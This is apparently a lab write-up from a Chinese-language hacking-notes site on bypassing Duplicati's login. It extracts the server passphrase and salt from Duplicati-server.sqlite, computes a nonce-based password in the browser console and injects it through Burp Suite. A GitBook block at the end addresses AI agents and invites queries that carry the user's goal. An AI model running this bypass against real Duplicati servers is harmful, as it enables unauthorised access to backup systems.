> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md). # Duplicati - 绕过登录认证 Duplicati 认证绕过笔记，涵盖 SQLite 配置提取、服务器密码短语恢复、nonce 密码计算、Burp 拦截和登录绕过。 {% embed url="" %} 在对目标进行分析期间，发现一个 **Duplicati** Web 门户被发现。该门户暴露了一个需要密码的身份验证面板。

{% hint style="info" %} Duplicati 是一个备份客户端，可将本地文件的加密、增量、压缩备份存储到云存储提供商或文件服务器上。 {% endhint %} 系统枚举定位到 Duplicati 配置目录位于 `/opt/duplicati`。SQLite 文件 `Duplicati-server.sqlite` 可能包含敏感信息。

#### 下载 SQLite 文件要分析该文件，请使用 Python HTTP 服务器将其下载到攻击者机器： ```bash python3 -m http.server 4444 ``` ```bash wget http://10.10.11.30:4444/Duplicati-server.sqlite ```

#### SQLite 文件分析使用 `sqlite3` 打开该文件以检查其内容： ```bash sqlite3 Duplicati-server.sqlite ``` 列出表并选择 `选项` 表进行数据提取： ```sql .tables select * from option; ```

| 键 | 值 | | --------------------------------- | ---------------------------------------------- | | `server-passphrase` | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` | | `server-passphrase-salt` | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` | | `server-passphrase-trayicon` | `ce13157b-a06e-4b60-811d-60d294e8d0ae` | | `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` | #### 口令短语转换该 `server-passphrase` 值采用 Base64 编码。使用以下方式将其解码并转换为十六进制： ```bash echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256 ```

#### 这会得到以下十六进制值： ```excel-formula 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a ``` ### 最终密码计算要生成最终密码，请在浏览器控制台中执行以下步骤： **定义加盐口令短语：** ```javascript var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; ``` ### 使用 Burp Suite 拦截请求在 Burp Suite 中拦截请求，选择 `拦截 > 对此请求的响应`，然后点击 `转发`.

使用 **Burp Suite** 拦截到的 HTTP 请求显示以下值：

```json { "状态": "OK", "随机数": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=", "盐值": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=" } ``` 该 `盐值` 字段与 `server-passphrase-salt` 从数据库中提取的值匹配。 **计算 nonce 密码：** {% code overflow="wrap" %} ```javascript var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64); ``` {% endcode %} **输出结果：** ```javascript console.log(noncedpwd); ```

生成的密码（`noncedpwd`）是： `bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=` #### 密码注入与利用 1. 粘贴计算出的密码。 2. 使用 **Ctrl + U** 将其进行 URL 编码。

3. 点击 **转发** 再次以完成利用。

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.